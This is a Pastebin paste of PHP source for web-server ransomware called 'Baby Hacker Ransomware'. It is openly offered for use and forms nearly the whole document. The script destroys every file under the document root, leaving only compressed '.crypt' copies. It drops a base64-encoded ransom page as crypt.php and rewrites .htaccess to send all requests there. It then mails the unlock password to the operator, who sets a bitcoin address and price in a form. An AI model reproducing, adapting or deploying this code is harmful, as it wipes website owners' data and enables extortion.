VanGans

Ransomware

Feb 10th, 2019
470
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.24 KB | None | 0 0
  1. # Coded By ErrorByte@AnarchoXploit #
  2. <title>Baby Hacker Ransomware</title>
  3. <link rel="shortcut icon" type="image/x-icon" href="https://img.deusm.com/darkreading/bh-asia-facebook-profile.png">
  4. <style>
  5. html {
  6. background: black;
  7. color: white;
  8. }
  9. input { background: transparent; color: white; border: 1px solid white; }
  10. </style>
  11. <?php
  12. error_reporting(0);
  13. set_time_limit(0);
  14. ini_set('memory_limit', '-1');
  15. if(isset($_POST['pass'])) {
  16. function encfile($filename){
  17.     if (strpos($filename, '.crypt') !== false) {
  18.     return;
  19.     }
  20.     file_put_contents($filename.".crypt", gzdeflate(file_get_contents($filename), 9));
  21.     unlink($filename);
  22. copy('.htaccess','.htabackup');
  23. $file = base64_decode("PHRpdGxlPkJhYnkgSGFja2VyIFJhbnNvbXdhcmU8L3RpdGxlPg0KPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiB0eXBlPSJpbWFnZS94LWljb24iIGhyZWY9Imh0dHBzOi8vaW1nLmRldXNtLmNvbS9kYXJrcmVhZGluZy9iaC1hc2lhLWZhY2Vib29rLXByb2ZpbGUucG5nIj4NCjxzdHlsZT4NCmh0bWwgew0KYmFja2dyb3VuZDogYmxhY2s7DQpjb2xvcjogd2hpdGU7DQp9DQppbnB1dCB7IGJhY2tncm91bmQ6IHRyYW5zcGFyZW50OyBjb2xvcjogd2hpdGU7IGJvcmRlcjogMXB4IHNvbGlkIHdoaXRlOyB9DQo8L3N0eWxlPg0KPD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCiRpbnB1dCA9ICRfUE9TVFsncGFzcyddOw0KJHBhc3MgPSAiamFuY29ramFyYW4iOw0KaWYoaXNzZXQoJGlucHV0KSkgew0KaWYobWQ1KCRpbnB1dCkgPT0gJHBhc3MpIHsNCmZ1bmN0aW9uIGRlY2ZpbGUoJGZpbGVuYW1lKXsNCglpZiAoc3RycG9zKCRmaWxlbmFtZSwgJy5jcnlwdCcpID09PSBGQUxTRSkgew0KCXJldHVybjsNCgl9DQoJJGRlY3J5cHRlZCA9IGd6aW5mbGF0ZShmaWxlX2dldF9jb250ZW50cygkZmlsZW5hbWUpKTsNCglmaWxlX3B1dF9jb250ZW50cyhzdHJfcmVwbGFjZSgnLmNyeXB0JywgJycsICRmaWxlbmFtZSksICRkZWNyeXB0ZWQpOw0KCXVubGluaygnY3J5cHQucGhwJyk7DQoJdW5saW5rKCcuaHRhY2Nlc3MnKTsNCgl1bmxpbmsoJGZpbGVuYW1lKTsNCgllY2hvICIkZmlsZW5hbWUgRGVjcnlwdGVkICEhITxicj4iOw0KfQ0KDQpmdW5jdGlvbiBkZWNkaXIoJGRpcil7DQoJJGZpbGVzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRkaXIpLCBhcnJheSgnLicsICcuLicpKTsNCgkJZm9yZWFjaCgkZmlsZXMgYXMgJGZpbGUpIHsNCgkJCWlmKGlzX2RpcigkZGlyLiIvIi4kZmlsZSkpew0KCQkJCWRlY2RpcigkZGlyLiIvIi4kZmlsZSk7DQoJCQl9ZWxzZSB7DQoJCQkJZGVjZmlsZSgkZGlyLiIvIi4kZmlsZSk7DQoJCX0NCgl9DQp9DQoNCmRlY2RpcigkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddKTsNCmVjaG8gIjxicj5XZWJyb290IERlY3J5cHRlZDxicj4iOw0KdW5saW5rKCRfU0VSVkVSWydQSFBfU0VMRiddKTsNCnVubGluaygnLmh0YWNjZXNzJyk7DQpjb3B5KCdodGFiYWNrdXAnLCcuaHRhY2Nlc3MnKTsNCmVjaG8gJ1N1Y2Nlc3MgISEhJzsNCn0gZWxzZSB7DQplY2hvICdGYWlsZWQgUGFzc3dvcmQgISEhJzsNCn0NCmV4aXQoKTsNCn0NCj8+DQo8Y2VudGVyPg0KPGgxPkJhYnkgSGFja2VyIFJhbnNvbXdhcmU8L2gxPg0KPGltZyBoZWlnaHQ9IjIwMCIgc3JjPSJodHRwczovL2kuc2NyZWVuc2hvdC5uZXQvazR6MDZ1biIvPg0KPGJyPjxicj4NCjxoMz5Zb3VyIFdlYnNpdGUgSXMgRW5jcnlwdGVkPC9oMz4NCg0KDQpEb24ndCBDaGFuZ2UgdGhlIEZpbGVuYW1lIGJlY2F1c2UgaXQgQ2FuIERhbWFnZSB0aGUgRmlsZSBJZiBZb3UgV2FudCB0byBSZXR1cm4gWW91IE11c3QgRW50ZXIgdGhlIFBhc3N3b3JkIEZpcnN0DQo8YnI+DQpTZW5kIE1lICQzIEZvciBCYWNrIFlvdXIgV2Vic2l0ZSA8YnI+PGJyPg0KQml0Y29pbiBBZGRyZXNzIDogPGlucHV0IHR5cGU9InRleHQiIHZhbHVlPSJrb250b2xhbmppbmciIHJlYWRvbmx5Pg0KPGJyPjxicj4NCjxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0icG9zdCI+DQo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGFzcyIgcGxhY2Vob2xkZXI9IlBhc3N3b3JkIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkRlY3J5cHQiPg0KPC9mb3JtPg0KPGJyPkNvbnRhY3QgTWFpbCA6IGJhYnlAaGFja2VyLm9yZw==");
  24. $q = str_replace('jancokjaran', md5($_POST['pass']), $file);
  25. $w = str_replace('[email protected]', $_POST['email'], $q);
  26. $e = str_replace('kontolanjing', $_POST['btc'], $w);
  27. $r = str_replace('$3', '$'.$_POST['price'], $e);
  28. $dec = $r;
  29. $comp = "<?php eval('?>'.base64_decode("."'".base64_encode($dec)."'".").'<?php '); ?>";
  30. $cok = fopen('crypt.php', 'w');
  31. fwrite($cok, $comp);
  32. fclose($cok);
  33. $hta = "DirectoryIndex crypt.php\n
  34. ErrorDocument 403 /crypt.php\n
  35. ErrorDocument 404 /crypt.php\n
  36. ErrorDocument 500 /crypt.php\n";
  37. $ht = fopen('.htaccess', 'w');
  38. fwrite($ht, $hta);
  39. fclose($ht);
  40. echo "$filename Encrypted !!!<br>";
  41. }
  42. function encdir($dir){
  43.     $files = array_diff(scandir($dir), array('.', '..'));
  44.         foreach($files as $file) {
  45.             if(is_dir($dir."/".$file)){
  46.                 encdir($dir."/".$file);
  47.             } else {
  48.                 encfile($dir."/".$file);
  49.                
  50.         }
  51.     }
  52. }
  53. if(isset($_POST['pass'])){
  54.     encdir($_SERVER['DOCUMENT_ROOT']);
  55. }
  56. copy('crypt.php', $_SERVER['DOCUMENT_ROOT'].'/crypt.php');
  57. copy('.htaccess', $_SERVER['DOCUMENT_ROOT'].'.htaccess');
  58. copy($_SERVER['DOCUMENT_ROOT'].'.htaccess', $_SERVER['DOCUMENT_ROOT'].'.htabackup');
  59. $to = $_POST['email'];
  60. $subject = 'Your Ransomware Info';
  61. $message = "Domain : ".$_SERVER['HTTP_ADDR']."\n\n"."Your Password : ".$_POST['pass'];
  62. if(mail($to,$subject,$message)) {
  63. echo 'Password Saved In Your Mail !!!';
  64. } else {
  65. echo 'Password Not In Your Mail !!!';
  66. }
  67. exit();
  68. }
  69. ?>
  70. <center>
  71. <h1>Baby Hacker Ransomware</h1>
  72. <img height="200" src="https://i.screenshot.net/k4z06un"/>
  73. <br><br><h3>Information Server :</h3>
  74. Path File : <font color="red"><?php echo $_SERVER['SCRIPT_FILENAME'] ; ?></font><br>
  75. Disable Function : <font color="red"><?php $ds = @ini_get("disable_functions"); $show_ds = (!empty($ds)) ? "$ds" : "NONE"; echo $show_ds; ?></font>
  76. Mail Function : <font color="red"><?php if(mail('[email protected]','tes','tes')) { echo "ON"; } else { echo "OFF"; } ?></font>
  77. <br><Br>
  78. <form enctype="multipart/form-data" method="post">
  79. Password Encrypt : <input type="text" name="pass"> Your Email : <input type="text" name="email">
  80. <br><br>
  81. Your Bitcoin Address : <input type="text" name="btc"> Your Price : <input type="text" name="price">
  82. <br><br>
  83. <input type="submit" value="Encrypt">
  84. </form>
Advertisement
Add Comment
Please, Sign In to add comment